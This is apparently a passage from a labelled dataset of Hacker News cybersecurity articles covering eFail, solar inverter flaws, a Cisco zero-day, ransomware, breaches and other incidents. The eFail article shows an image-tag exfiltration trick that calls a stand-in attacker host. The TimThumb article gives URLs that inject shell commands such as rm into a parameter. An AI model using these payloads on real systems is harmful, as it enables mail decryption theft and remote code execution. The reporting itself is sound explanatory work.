The attack vector requires injected plaintext into the encrypted mail, and then using the exploit, it will exfiltrate the originally encrypted data as soon as any recipient's mail client accesses (or decrypts) the message

It should be noted that to perform an eFail attack, an attacker must have access to your encrypted emails, which is then modified in the following way and send back to you in order to trick your email client into revealing the secret message to the remote attacker without alerting you.

As described in the proof-of-concept attack released by the researchers, the attacker uses one of the encrypted messages you are supposed to receive or might have already received and then turns it into a multipart HTML email message, as well as forges the return address, so it appears to come from the original sender.

In the newly composed email, the attacker adds an unclosed image tag, like this <img src=""https://attackersite.com/ just before the encrypted content and ends it by adding the end of the image tag, like this: .jpg"">, as clearly shown in the screenshot.

When your vulnerable email client receives this message, it decrypts the encrypted part of the message given in the middle, and then automatically tries to render the HTML content, i.e., the image tag with all the decrypted text as the new name of the image, as shown below.

Since your email client will try to load the image from the attacker-controlled server, the attacker can capture this incoming request, where the filename contains the full content of the original encrypted email in plaintext.

Although PGP has been designed to show you a warning note if the integrity of your email is compromised, a few email clients do not display these warnings, allowing any potential attackers to perform eFail attacks successfully.

How To Prevent Against eFail Attacks
Generally, it is a very tough job for an advisory to even intercept your encrypted emails, but for people desperately using email encryption always attract well-resourced and sophisticated attackers.

Ditching the use of PGP or S/MIME to prevent eFail attacks would be stupid advice, as it is quite easy to mitigate the reported issues.

Users can switch to a good email client that always shows a warning when the integrity of the emails is compromised and doesn't render HTML emails by default to prevent loading of external resources automatically.

Researchers also advise users to adopt an authenticated encryption algorithm for sensitive communication.

The research was conducted by a team of researchers, including Damian Poddebniak, Christian Dresen, Fabian Ising, and Sebastian Schinzel from Munster University of Applied Sciences; Jens Müller, Juraj Somorovsky, and Jörg Schwenk from Ruhr University Bochum; and Simon Friedberger from KU Leuven.

For more in-depth details on the attack technique, you can head on to this informational page about the eFail attack and the paper [PDF] titled, ""Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels,"" published by the researchers.

",Cyber_Attack
Critical Flaws Found in Solar Panels Could Shut Down Power Grids,https://thehackernews.com/2017/08/solar-panel-power-grid.html,"A Dutch security researcher has uncovered a slew of security vulnerabilities in an essential component of solar panels which could be exploited to cause widespread outages in European power grids.

Willem Westerhof, a cybersecurity researcher at Dutch security firm ITsec, discovered 21 security vulnerabilities in the Internet-connected inverters – an essential component of solar panel that turns direct current (DC) into alternating current (AC).

According to Westerhof, the vulnerabilities leave thousands of Internet-connected power inverters installed across Europe vulnerable.

Westerhof demonstrates that it is possible for hackers to gain control of a large number of inverters and switch them OFF simultaneously, causing an imbalance in the power grid that could result in power outages in different parts of Europe.

The vulnerabilities affect solar panel electricity systems, also known as photovoltaics (PV), made by German solar equipment company SMA, which if exploited in mass, could result in electrical grids getting knocked offline.

Westerhof's research, called the ""Horus Scenario"" – named after the Egyptian god of the sky, was first published in a Dutch newspaper Volkskrant, and now he launched a website detailing the vulnerabilities and how a digital attack could lead to terrible consequences.

According to the researcher, the attack causes due to an imbalance in the power grid. Since the power grid needs to maintain a constant balance between the supply of power and demand of power, an exceed in supply or demand could cause outages.

So, if an attacker manipulates the amount of PV power in a power grid at a particular time, an attacker could cause peaks or dips of several GigaWatts, causing a massive imbalance which may lead to large scale power outages.

For a country like Germany, where solar energy covers up to 50 percent of its power demand, such a devastating attack would instantly cause a significant power outage, which would adversely affect millions of people and cost governments billions of dollars.

To explain this scenario in real life, Westerhof analysed the PV inverters made by SMA and discovered 17 vulnerabilities, 14 of which received CVE IDs and CVSS scores ranging from 3 (Informational) to 9 (Critical).
""In the worst case scenario, an attacker compromises enough devices and shuts down all these devices at the same time causing threshold values to be hit"" and ""a 3 hour power outage across Europe, somewhere mid day on June is estimated to cause +/- 4.5 billion euros of damage,"" Westerhof writes.
Westerhof reported all the vulnerabilities to SMA in late 2016 and worked with the company, power grid regulators, and government officials to fix the issues and harden up the security of their systems.

More than six months later, the company patched the flaws in its kit and is rolling out patches to its customers, while power grid regulators and the government will discuss the findings at international conferences.

Luckily it was a white hat who discovered the flaws in the solar panel which could have caused a devastating effect on the entire nation. If it were a black hat, it could have resulted in massive power outages across Europe similar to the one suffered by Ukraine last year.

",Vulnerability
Cisco Issues Warning Over IOS XR Zero-Day Flaw Being Targeted in the Wild,https://thehackernews.com/2020/09/cisco-issue-warning-over-ios-xr-zero.html,"Cisco has warned of an active zero-day vulnerability in its router software that's being exploited in the wild and could allow a remote, authenticated attacker to carry out memory exhaustion attacks on an affected device.

""An attacker could exploit these vulnerabilities by sending crafted IGMP traffic to an affected device,"" Cisco said in an advisory posted over the weekend.

""A successful exploit could allow the attacker to cause memory exhaustion, resulting in instability of other processes. These processes may include, but are not limited to, interior and exterior routing protocols.""

Although the company said it will release software fixes to address the flaw, it did not share a timeline for when it plans to make it available. The networking equipment maker said it became aware of attempts to exploit the flaw on August 28.

Tracked as CVE-2020-3566, the severity of the vulnerability has been rated ""high"" with a Common Vulnerability Scoring System score of 8.6 out of a maximum 10.

The bug affects all Cisco gear running its Internetwork Operating System (IOS) XR Software and stems from an issue in the Distance Vector Multicast Routing Protocol (DVMRP) feature that makes it possible for an adversary to send specially crafted Internet Group Management Protocol (IGMP) packets to the susceptible device in question and exhaust process memory.

IGMP is typically used to efficiently use resources for multicasting applications when supporting streaming content such as online video streaming and gaming. The flaw lies in the manner IOS XR Software queues these packets, potentially causing memory exhaustion and disruption of other processes.

While there are no workarounds to resolve the issue, Cisco recommends administrators to run the ""show igmp interface"" command to determine if multicast routing is enabled.

""If the output of 'show igmp interface' is empty, multicast routing is not enabled and the device is not affected by these vulnerabilities,"" the company said.

Additionally, admins can also check the system logs for signs of memory exhaustion and implement rate-limiting to reduce IGMP traffic rates to mitigate the risk.

Cisco didn't elaborate on how the attackers were exploiting this vulnerability and with what goal in mind.

But given that resource exhaustion attacks are also a form of denial-of-service attacks, it wouldn't be surprising if bad actors are leveraging the flaw to interfere with the regular functioning of the system.

",Vulnerability
Adwind RAT Returns! Cross-Platform Malware Targeting Aerospace Industries,https://thehackernews.com/2017/07/adwind-rat-malware.html,"Hackers and cyber criminals are becoming dramatically more adept, innovative, and stealthy with each passing day.

While other operating systems are more widely in use, cybercriminals have now shifted from traditional activities to more clandestine techniques that come with limitless attack vectors, support for cross platforms and low detection rates.

Security researchers have discovered that infamous Adwind, a popular cross-platform Remote Access Trojan written in Java, has re-emerged and currently being used to ""target enterprises in the aerospace industry, with Switzerland, Austria, Ukraine, and the US the most affected countries.""

Adwind — also known as AlienSpy, Frutas, jFrutas, Unrecom, Sockrat, JSocket, and jRat — has been in development since 2013 and is capable of infecting all the major operating systems, including Windows, Mac, Linux, and Android.
Adwind has several malicious capabilities including stealing credentials, keylogging, taking pictures or screenshots, data gathering and exfiltrate data. The trojan can even turn infected machines into botnets to abuse them for destructing online services by carrying out DDoS attacks.

Researchers from Trend Micro recently noticed a sudden rise in the number of Adwind infections during June 2017 — at least 117,649 instances in the wild, which is 107 percent more than the previous month.

According to a blog post published today, the malicious campaign was noticed on two different occasions.

First was observed on June 7 and used a link to divert victims to their .NET-written malware equipped with spyware capabilities, while the second wave was noticed on June 14 and used different domains hosting their malware and command-and-control servers.

Both waves eventually employed a similar social engineering tactic to trick victims into clicking the malicious links within a spam email that impersonate the chair of the Mediterranean Yacht Broker Association (MYBA) Charter Committee.

Once infected, the malware also collects system's fingerprints, along with the list of installed antivirus and firewall applications.
""It can also perform reflection, a dynamic code generation in Java. The latter is a particularly useful feature in Java that enables developers/programmers to dynamically inspect, call, and instantiate attributes and classes at runtime. In cybercriminal hands, it can be abused to evade static analysis from traditional antivirus (AV) solutions,"" the researchers wrote.
My advice for users to remain protected from such malware is always to be suspicious of uninvited documents sent over an email and never click on links inside those documents unless verifying the source.

Additionally, keep your systems and antivirus products up-to-date in order to protect against any latest threat.

",Malware
A Patient Dies After Ransomware Attack Paralyzes German Hospital Systems,https://thehackernews.com/2020/09/a-patient-dies-after-ransomware-attack.html,"German authorities last week disclosed that a ransomware attack on the University Hospital of Düsseldorf (UKD) caused a failure of IT systems, resulting in the death of a woman who had to be sent to another hospital that was 20 miles away.
The incident marks the first recorded casualty as a consequence of cyberattacks on critical healthcare facilities, which has ramped up in recent months.
The attack, which exploited a Citrix ADC CVE-2019-19781 vulnerability to cripple the hospital systems on September 10, is said to have been ""misdirected"" in that it was originally intended for Heinrich Heine University, according to an extortion note left by the perpetrators.
After law enforcement contacted the threat actors and informed them that they had encrypted a hospital, the operators behind the attack withdrew the ransom demand and provided the decryption key.
The case is currently being treated as a homicide, BBC News reported over the weekend.
Unpatched Vulnerabilities Become Gateway to Ransomware Attacks
Although several ransomware gangs said early on in the pandemic that they would not deliberately target hospitals or medical facilities, the recurring attacks prompted the Interpol to issue a warning cautioning hospitals against ransomware attacks designed to lock them out of their critical systems in an attempt to extort payments.
Weak credentials and VPN vulnerabilities have proven to be a blessing in disguise for threat actors to break into the internal networks of businesses and organizations, leading cybersecurity agencies in the U.S. and U.K. to publish multiple advisories about active exploitation of the flaws.
""The [Federal Office for Information Security] is becoming increasingly aware of incidents in which Citrix systems were compromised before the security updates that were made available in January 2020 were installed,"" the German cybersecurity agency said in an alert last week.
""This means that attackers still have access to the system and the networks behind it even after the security gap has been closed. This possibility is currently increasingly being used to carry out attacks on affected organizations.""
The development also coincides with a fresh advisory from the U.K. National Cyber Security Centre (NCSC), which said it's observed an uptick in ransomware incidents targeting educational institutions at least since August 2020, while urging schools and universities to implement a ""defence in depth"" strategy to defend against such malware attacks.
Some of the affected institutions included Newcastle and Northumbria Universities, among others.
Citing Remote Desktop Protocol (RDP), vulnerable software or hardware, and email phishing as the three most common infection vectors, the agency recommended organizations to maintain up-to-date offline backups, adopt endpoint malware protection, secure RDP services using multi-factor authentication, and have an effective patch management strategy in place.
A Spike in Ransomware Infections
If anything, the ransomware crisis seems to be only getting worse. Historical data gathered by Temple University's CARE cybersecurity lab has shown that there have been a total of 687 publicly disclosed cases in the U.S. since 2013, with 2019 and 2020 alone accounting for more than half of all reported incidents (440).
Government facilities, educational institutions, and healthcare organizations are the most frequently hit sectors, as per the analysis.
And if 2020 is any indication, attacks against colleges and universities are showing no signs of slowing down.
Allan Liska, a threat intelligence analyst at Recorded Future, revealed there had been at least 80 publicly reported ransomware infections targeting the education sector to date this year, a massive jump from 43 ransomware attacks for the whole of 2019.
""Part of this change can be attributed to extortion sites, which force more victims to announce attacks,"" Liska said in a tweet. ""But, in general, ransomware actors have more interest in going after colleges and universities, and they are often easy targets.""
You can read more about NCSC's mitigation measures here. For more guidance on proofing businesses against ransomware attacks, head to US Cybersecurity Security and Infrastructure Security Agency's response guide here.

",Cyber_Attack
Microsoft Release Security Intelligence Report !,https://thehackernews.com/2011/05/microsoft-release-security-intelligence.html,"Microsoft Release Security Intelligence Report !

The Security Intelligence Report (SIR) is an investigation of the current threat landscape.
It analyzes exploits, vulnerabilities, and malware based on data from over 600 million systems worldwide, as well as internet services, and three Microsoft Security Centers.

Volume 10 (SIR v10) is the most current edition covering 2010 and contains five sections:

Key Findings provides data and analysis produced by Microsoft security teams.
Reference Guide gives additional information for topics covered in the Key Findings.
Featured Intelligence spotlights the latest threat topic.
Global Threat Assessment provides deep dive telemetry by specific country or region.
Managing Risk offers methods for protecting your organization, software, and people.
Download Here

",Malware
Secunia CSI 7.0 - Next generation Patch Management tool released,https://thehackernews.com/2013/09/Secunia-CSI-7-Patch-Management-tool_4.html,"Cybercrime costs organizations millions of dollars and to protect business from the consequences of security breaches, vulnerability intelligence and patch management are basic necessities in the toolbox of any IT team, as emphasized by organizations like the SANS Institute and the National Institute of Standards and Technology under the US Department of Commerce (NIST).

The Secunia CSI 7.0 is the Total Package: Vulnerability Intelligence, Vulnerability Scanning with Patch Creation and Patch Deployment Integration.

To help IT teams counter the threat, vulnerability research company Secunia merges the in-house vulnerability expertise with a sophisticated patch management solution into the Secunia Corporate Software Inspector (CSI 7.0). The foundation of the Secunia CSI is a unique combination of vulnerability intelligence and vulnerability scanning, with patch creation and patch deployment integration.
The Secunia CSI integrates with Microsoft WSUS and System Center 2012 and third-party configuration management tools for easy deployment of third-party updates, making patching a simple and straight-forward process for all IT departments.

To make the solution flexible and suited to the processes of organizations of all sizes the new version, the Secunia CSI 7.0, comes with these new and improved features:
Smart Groups 2.0: Create Smart Groups designed to prioritize remediation efforts by filtering and segmenting data based on hosts, products or impact, and to receive alerts when a threat is detected;
User Management: Create user accounts with different roles and permissions;
Patch Configuration: get configurable patches out-of-the-box that can be easily customized to support your environment, for example to avoid desktop shortcuts or to disable auto-update for a program
Web Console (SaaS): Log in to the Secunia CSI from an internet browser for instant access to your data and reports - anywhere, at any time.
Password Policy Configuration: Determine and enforce the global password policy for your organization to comply with internal and external policies as well as to meet best-practice standards in your industry.
Live updates: get an immediate overview of how a new vulnerability affects your infrastructure, as soon as the advisory has been released by Secunia Research, based on your latest scan results
PSI for Android: Scan Android devices for vulnerabilities with the Secunia PSI for Android, and integrate it with the Secunia CSI to support your BYOD policy.
Secunia SC2012 Plugin 2.0 for CSI integration with Microsoft System Center 2012. This add-on makes it possible to deploy all third-party updates directly in Microsoft System Center 2012.
Zero-Day Vulnerability Support. The add-on includes SMS or email alerts, whenever a new zero-day vulnerability is discovered that affects the particular IT infrastructure. This add-on is designed for the select organizations that have a sufficiently sophisticated security apparatus to enable them to act on the zero-day threat intelligence.
Why vulnerability intelligence is a crucial aspect of patch management
In 2012, Secunia recorded a total of nearly 10,000 discovered vulnerabilities in software programs, and more than 1,000 vulnerabilities in the 50 most popular programs alone Most of these (86%) were discovered in third-party (non-Microsoft) programs, presenting IT teams with the huge challenge of how to retain control over increasingly complex infrastructures and user device autonomy and identify, acquire, install and verify patches for all applications in all systems.
As vulnerabilities are the root cause of security issues, understanding how to deal with them is a critical component of protecting any organization from security breaches. IT teams must know when a vulnerability is threatening the infrastructure, where it will have the most critical impact, what the right remediation strategy is and how to deploy it.

These aspects of risk assessment fall to IT Security and IT Operations respectively, and the two departments require different sets of tools to take strategic, pre-emptive action against vulnerabilities.

""The new Secunia CSI bridges the gap between the two sets of requirements. Security teams need vulnerability intelligence and scanning to assess risk in a constantly changing threat landscape, and IT operations need a patch management solution that is sufficiently agile to maintain security levels without an impairing daily performance,"" explains Morten R. Stengaard, Secunia CTO.

""The core of our solution is the vulnerability intelligence delivered by Secunia's renowned in-house Research Team, who test, verify, and validate public vulnerability reports, as well as conduct independent vulnerability research on a variety of products. No other patch management solution out there can provide this expertise. To deliver the intelligence to our customers, we have created a patch management solution which is constantly evolving, to meet the changing requirements of our users,"" says Morten R. Stengaard.

Flexibility is the driving force behind the Secunia CSI 7.0
To ensure that the Secunia CSI 7.0 is primed to work as a conduit to Secunia's powerful vulnerability intelligence, scanning and patch management solution, flexibility has been the driving force behind the development of the Secunia CSI 7.0.

""Each organization is unique, with its own processes, regulatory standards and security procedures, and the improvements to the Secunia CSI 7.0 enables IT teams to adapt and scale the solution to match the requirements of virtually any organization,"" says Morten R. Stengaard.

",Vulnerability
10 year old girl hacker CyFi reveal her first zero-day in Game at #DefCon 19,https://thehackernews.com/2011/08/10-year-old-girl-hacker-cyfi-reveal-her.html,"10 year old girl hacker CyFi reveal her first zero-day in Game at #DefCon 19

Another awesome day at DefCon 19 . Today a 10 year old Girl hacker - pseudonym CyFi revealed her zero-day exploit in games on iOS and Android devices that independent researchers have confirmed as a new class of vulnerability. The 10-year-old girl from California first discovered the flaw around January 2011 because she ""started to get bored"" with the pace of farm-style games.

About CyFi :
She is cofounder of DEFCON Kids. CyFi is a ten-year-old hacker, artist and athlete living in California. She has spoken publicly numerous times, usually at art galleries as a member of ""The American Show,"" an underground art collective based in San Francisco. CyFi's first gallery showing was when she was four. Last year she performed at the SF MOMA Museum in San Francisco. DEFCON Kids will be her first public vulnerability disclosure. CyFi's has had her identity stolen twice. She really likes coffee, but her mom doesn't let her drink it.

CyFi said, ""It was hard to make progress in the game, because it took so long for things to grow. So I thought, 'Why don't I just change the time?'"" Most of the games she discovered the exploit in have time-dependent factors. Manually advancing the phone or tablet's clock forced the game further ahead than it really was, opening up the exploit.

CyFi said that she discovered some ways around those detections. Disconnecting the phone from Wi-Fi made it harder to stop, as did making incremental clock adjustments. CyFi's mother, who must remain anonymous to protect her daughter's identity, told at the end of CyFi's presentation at DefCon Kids that they would offer a $100 reward to the young hacker who found the most games with this exploit over the following 24 hours. The reward is sponsored by AllClearID, a identity protection company that is also sponsoring the DefCon Kids.

CyFi revealed that she was only a little bit nervous about having to speak in front of the 100 or so expected attendees. She admitted that while it was probably different publicly speaking about a topic with such a specific focus, it would be hard for her to imagine what those differences might be. ""Well, I haven't done it yet,"" she said.

",Vulnerability
Zero-Day TimThumb WebShot Vulnerability leaves Thousands of Wordpress Blogs at Risk,https://thehackernews.com/2014/06/zero-day-timthumb-webshot-vulnerability.html,"Yesterday we learned of a critical Zero-day vulnerability in a popular image resizing library called TimThumb, which is used in thousands WordPress themes and plugins.

WordPress is a free and open source blogging tool and a content management system (CMS) with more than 30,000 plugins, each of which offers custom functions and features enabling users to tailor their sites to their specific needs, therefore it is easy to setup and use, that's why tens of millions of websites across the world opt it.

But if you or your company are the one using the popular image resizing library called ""TimThumb"" to resize large images into usable thumbnails that you can display on your site, then you make sure to update the file with the upcoming latest version and remember to check the TimThumb site regularly for the patched update.

0-Day REMOTE CODE EXECUTION & NO PATCH
The critical vulnerability discovered by Pichaya Morimoto in the TimThumb Wordpress plugin version 2.8.13, resides in its ""Webshot"" feature that, when enabled, allows attackers to execute commands on a remote website.

The vulnerability allows an attacker to remotely execute arbitrary PHP code on the affected website. Once the PHP code has been executed, the website can be easily compromised in the way the attacker wants. Until now, there is no patch available for the flaw.

""With a simple command, an attacker can create, remove and modify any files on your server,"" says Security experts at Sucuri break in a blog post.

Using the following command, a hacker can create, delete and modify any files on your server:
https://vulnerablesite.com/wp-content/plugins/pluginX/timthumb.php?webshot=1&src=https://vulnerablesite.com/$(rm$IFS/tmp/a.txt)
https://vulnerablesite.com/wp-content/plugins/pluginX/timthumb.php??webshot=1&src=https://vulnerablesite.com/$(touch$IFS/tmp/a.txt)
WHO ARE VULNERABLE
Unfortunately, there are hundreds of other Wordpress plugins and themes, those are using TimThumb library by default. Some of theme are:
1.) TimThumb 2.8.13 Wordpress plugin
1.) WordThumb 1.07 is also using same vulnerable WebShot code.
2.) Wordpress Gallery Plugin
3.) IGIT Posts Slider Widget

4.) All Wordpress themes from Themify contains vulnerable wordthumb at ""/themify/img.php"" location.


The good news is that Timthumb comes with the webshot option disabled by default, so only those Timthumb installations are vulnerable to the flaw who have manually enabled the webshot feature.

CHECK AND DISABLE TIMTHUMB ""WEBSHOT""

Open timthumb file inside your theme or plugin directory, usually located at ""/wp-content/themes//path/to/timthumb.php""
Search for ""WEBSHOT_ENABLED""
If the you find define ('WEBSHOT_ENABLED', true) , then set the value to ""false"", i.e. define ('WEBSHOT_ENABLED', false)
Unfortunately, similar multiple security flaws were discovered in TimThumb in the past, leaving millions of WordPress powered websites vulnerable to attack.

",Vulnerability
WebRTC Vulnerability leaks Real IP Addresses of VPN Users,https://thehackernews.com/2015/02/webrtc-leaks-vpn-ip-address.html,"An extremely critical vulnerability has recently been discovered in WebRTC (Web Real-Time Communication), an open-source standard that enables the browsers to make voice or video calls without needing any plug-ins.

AFFECTED PRODUCTS
Late last month, security researchers revealed a massive security flaw that enables website owner to easily see the real IP addresses of users through WebRTC, even if they are using a VPN or even PureVPN to mask their real IP addresses.

The security glitch affects WebRTC-supporting browsers such as Google Chrome and Mozilla Firefox, and appears to be limited to Windows operating system only, although users of Linux and Mac OS X are not affected by this vulnerability.

HOW DOES THE WebRTC FLAW WORKS
WebRTC allows requests to be made to STUN (Session Traversal Utilities for NAT) servers which return the ""hidden"" home IP-address as well as local network addresses for the system that is being used by the user.

The results of the requests can be accessed using JavaScript, but because they are made outside the normal XML/HTTP request procedure, they are not visible in the developer console. This means that the only requirement for this to work is WebRTC support in the browser and JavaScript.

CHECK YOURSELF NOW
A demonstration published by developer Daniel Roesler on GitHub allows people to check if they are affected by the security glitch.

Also, you can go through the following steps in order to check if you're affected:
Connect to ExpressVPN
Visit https://ipleak.net
If your browser is secure, you should see something like this:
If your browser is affected by this issue, you'll see information about your true IP address in the WebRTC section.
HOW TO PROTECT YOURSELF
Luckily the critical security flaw is quite easy to fix.

For Chrome users :
Google Chrome and other Chromium-based browser users can install the WebRTC Block extension or ScriptSafe, which both reportedly block the vulnerability.

For Firefox Users :
In case of Firefox, the only extensions that block these look ups are JavaScript blocking extensions such as NoScript. To fix, try the following steps:
Type about:config in the browser's address bar and hit enter.
Confirm you will be careful if the prompt appears.
Search for media.peerconnection.enabled.
Double-click the preference to set it to false.
This turns of WebRTC in Firefox.

",Vulnerability
Boys Town Healthcare Data Breach Exposed Personal Details of Patients,https://thehackernews.com/2018/07/data-breach-healthcare.html,"Another day, Another data breach!

This time-sensitive and personal data of hundreds of thousands of people at Boys Town National Research Hospital have been exposed in what appears to be the largest ever reported breach by a pediatric care provider or children's hospital.

According to the U.S. Department of Health and Human Services Office for Civil Rights, the breach incident affected 105,309 individuals, including patients and employees, at the Omaha-based medical organization.

In a ""Notice of Data Security Incident"" published on its website, the Boys Town National Research Hospital admitted that the organization became aware of an abnormal behavior regarding one of its employees' email account on May 23, 2018.

After launching a forensic investigation, the hospital found that an unknown hacker managed to infiltrate into the employee's email account and stole personal information stored within the email account as a result of unauthorized access.

The hacker accessed the personal and medical data of more than 100,000 patients and employees, including:
Name
Date of birth
Social Security number
Diagnosis or treatment information
Medicare or Medicaid identification number
Medical record number
Billing/claims information
Health insurance information
Disability code
Birth or marriage certificate information
Employer Identification Number
Driver's license number
Passport information
Banking or financial account number
Username and password
With this extensive information in hand, it's most likely that hackers are already selling personal information of victims on the dark web or attempting to carry out further harm to them, particularly child patients at the hospital.

However, The Boys Town National Research Hospital says it has not received any reports of the misuse of the stolen information so far.

""Boys Town takes this incident and the security of personal information seriously. Upon learning of this incident, Boys Town moved quickly to confirm whether personal information may have been affected by this incident, to identify the individuals related to this personal information, to put in place resources to assist them, and to provide them with notice of this incident,"" the hospital says.

The hospital has also reported the incident to law enforcement and is notifying state and federal regulators, along with potentially affected individuals. Boys Town has also promised to offer affected individuals access to 12 months of free identity protection services.

Boys Town hospital is also reviewing its existing policies and procedures and is implementing some additional security measures to safeguard its users' information stored in its systems.

However, victims are highly recommended to monitor their accounts for any fraudulent transaction and should consider placing a credit freeze request. Here's how you can freeze credit report to protect yourself against identity theft.

For additional information related to the incident, you can call 1-855-686-9425 (toll-free), Monday through Saturday from 8:00 a.m. to 8:00 p.m. CT.

",Cyber_Attack
Gauss Malware Detection Tool released by Iranian CERT,https://thehackernews.com/2012/09/gauss-malware-detection-tool-released.html,"Iranian National Computer Emergency Response Team releases a tool for Gauss malware detection. Cyber surveillance virus has been found in the Middle East that can spy on banking transactions and steal login and passwords, according Kaspersky Lab, a leading computer security firm.

Gauss primarily infects 32-bit versions of Windows, though a separate spy module for USB drives can collect information from 64-bit systems. Infections are mainly split between Windows 7 and Windows XP, although some of the Gauss modules don't work against Windows 7 Service Pack 1. Mac and Linux machines appear to be safe.

Multiple modules of Gauss serve the purpose of collecting information from browsers, which include the history of visited websites and passwords. Detailed data on the infected machine is also sent to the attackers, including specifics of network interfaces, the computer's drives and BIOS information.

The Gauss module is also capable of stealing data from the clients of several Lebanese banks including the Bank of Beirut, EBLF, BlomBank, ByblosBank, FransaBank and Credit Libanais. It also targets users of Citibank and PayPal.

Download Gauss Malware Detection Tool from Iran CERT.

Another Similar Tools are : Kaspersky virus removal tool, or use a Web page provided by Hungarian research lab CrySyS to scan for the virus. The CrySyS page will check your system for Palida Narrow, a font associated with Gauss.

",Malware
New Internet Explorer Zero-Day Vulnerability Publicly Disclosed; Identified in October 2013,https://thehackernews.com/2014/05/internet-explorer-zero-day.html,"Oh Microsoft, How could you do this to your own Internet Explorer? Microsoft had kept hidden a critical Zero-Day vulnerability of Internet explorer 8 from all of us, since October 2013.

A Critical zero-day Internet Explorer vulnerability (CVE-2014-1770), which was discovered by Peter 'corelanc0d3r' Van Eeckhoutte in October 2013 just goes public today by the Zero Day Initiative (ZDI) website.

Zero Day Initiative is a program for rewarding security researchers for responsibly disclosing vulnerabilities. ZDI reportedly disclosed the vulnerability to Microsoft when it was first identified by one of its researchers, on which Microsoft responded 4 month later on February 2014 and confirmed the flaw, but neither the Microsoft patch the vulnerability nor it disclosed any details about it.

But due to ZDI's 180 days public notification policy, they are obligated to publicly disclosed the details of a Zero-Day vulnerability. ZDI warned Microsoft several days ago about the pending public disclosure of the flaw after it completed 180 days as on April, but apparently Microsoft didn't respond to it.

According to the ZDI Security Advisory, the vulnerability is a zero day remote code execution flaw that affects the Internet Explorer version 8 and allows a remote attacker to execute arbitrary code through a bug in CMarkup objects.

In a web-based attack scenario, an attacker could leverage the Vulnerability through compromise websites and by clicking on email attachments. To perform successful web-based attacks, an attacker can host specially crafted content on the compromised websites that could trigger the reported vulnerability.
""In all cases, however, an attacker would have no way to force users to view the attacker-controlled content. Instead, an attacker would have to convince users to take action, typically by getting them to click a link in an email message or in an Instant Messenger message that takes users to the attacker's website, or by getting them to open an attachment sent through email,"" reads the ZDI post.
By successful exploitation of the flaw, an attacker could gain the same user rights as the current user on the compromised system and victim 'users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.'

If you are using Microsoft Outlook, Microsoft Outlook Express, or Windows Mail to open HTML emails, then it automatically disables the Script and ActiveX controls, that helps reduce the risk of an attacker being able to use these vulnerabilities to execute malicious code.

But once the user clicks any malicious link attached with the email messages, he or she would fall victim for the exploitation of these vulnerabilities through the web-based attacks.

Moreover, Windows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, and Windows Server 2012 R2 users should not worry if they have Enhanced Security Configuration enabled on their Internet Explorer, because this mode mitigates these vulnerabilities.

The vulnerability has not been addressed by Microsoft and no patch is available yet for this critical zero day vulnerability, so Internet Explorer user are still vulnerable to the zero-day attack.

You are advised to block ActiveX Controls and Active Scripting and also install EMET (Enhanced Mitigation Experience Toolkit), that enable you to manage security mitigation technologies that help make it more difficult for attackers to exploit vulnerabilities in a given piece of software.

Just few days back, a similar remote code execution vulnerability in the Internet Explorer that affected almost all the versions of IE was reported by the security firm FireEye.

",Vulnerability
These Top 7 Brutal Cyber Attacks Prove 'No One is Immune to Hacking' — Part II,https://thehackernews.com/2015/09/top-cyber-attacks-2.html,"In Part I of this two-part series from The Hacker News, the First Four list of Top Brutal Cyber Attacks shows that whoever you are, Security can never be perfect.

As attackers employ innovative hacking techniques and zero-day exploits, the demand for increased threat protection grows.

In this article, I have listed another three cyber attacks, as following:

#5 Car Hacking

Driving a car is a network's game now!

'Everything is hackable,' but is your car also vulnerable to Hackers?

General Motors' OnStar application and cars like Jeep Cherokee, Cadillac Escalade, Toyota Prius, Dodge Viper, Audi A8 and many more come equipped with more advanced technology features.

These cars are now part of the technology very well known as the ""Internet of Things"".

Recently two Security researchers, Chris Valasek and Charlie Miller demonstrated that Jeep Cherokee could be hacked wirelessly over the internet to hijack its steering, brakes, and transmission.

The OnStar application is an inbuilt unit attached to the interior, rearview mirror of the car with features such as remotely unlocking cars and starting the engines.

Similarly, Jeep manufactured Jeep Cherokee's latest model is the fourth generation car fully equipped with the latest technology advancements.

In the recent incidents, Jeep Cherokee, as well as OnStar's application, were hacked leaving the cars as the slaves of the hackers and prone to accidents.

A security flaw in the car's entertainment system was compromised by two white hat hackers: Charlie Miller and Chris Valasek. The flaw allowed the hackers to inject malware into the system for remote control from miles away.

The hackers were able to turn up the music volume to the maximum and start the windshield wipers remotely while they were '10 miles away'.

An outrageous act they did was cutting off the transmission and disconnected the brakes that led the car crash into a ditch.

Reports say that both Jeep Cherokee and Escalade have an inherent security flaw. This is such:

The cars' apps, Bluetooth and telematics connecting the car to a cellular network like OnStar are on the same network as the engine controls, brakes, steerings and tire pressure monitor system.

Miller and Valasek said a car's networked system could be an easy gateway for the hackers to come in with just the use of their mobile phones and a laptop.

What they need to do is just know the car's IP address, and they can break into its system through a wireless internet connection.

#6 Data Breach at US Government Office of Personnel Management

United States Office of Personnel Management (US OPM) is an independent agency of the United States that works to recruit, retain and honor a world-class workforce for the American people.

The US OPM became a victim of a cyber attack twice that led to a data breach, compromising personal information of some 21.5 million related to current and former federal workers.

Hackers accessed sensitive data of US government officials that could be used for identity theft and cyber-espionage.

The stolen data included Social Security Numbers, employment history, residency and educational history, criminal and financial history, fingerprints, information about health, personal and business acquaintances.

Some stolen records also include findings from interviews conducted by background investigators that discussed sexual assaults and drug, mental health treatments and alcohol addictions.

Investigations reveal that China-based hackers were behind the data breaches at the Office of Personnel Management (OPM).

#7 Anthem Data Breach

Anthem Insurance Inc., previously known as WellPoint Inc, was a victim of a massive cyber attack in February.

Back in February, Cyber attackers executed a very sophisticated attack to gain unauthorized access to the company's IT systems that had database of some 80 million people and obtained personal identifiable information (PII) relating to its consumers and employees.

The information accessed included:
Names,
Birthdays,
Social security numbers,
Email addresses
Employment information, including income data
The hackers gained access to Anthem's data by stealing the network credentials of at least five of its employees with high-level IT access.

The path may have been ""Phishing"", in which a fraudulent e-mail could have been used to trick employees into revealing their network ID and password, or into unknowingly downloading software code that gives the hackers long-term access to Anthem's IT environment.

The company informed millions of its affected customers of the massive data breach that potentially exposed the personal information of its former as well as current customers.

Anthem appointed Mandiant, world's leading cyber security organization, to evaluate the scenario and provide necessary solutions.

This is just the beginning...

These are just seven; there are many more! And it could reach you too.

The power of the cyberspace and the criminals hovering over it should not be underrated.

Chucking such happenings where your personal data is at risk and being irrational is not the solution rather it is the beginning of activities that will bother you big time in the future.

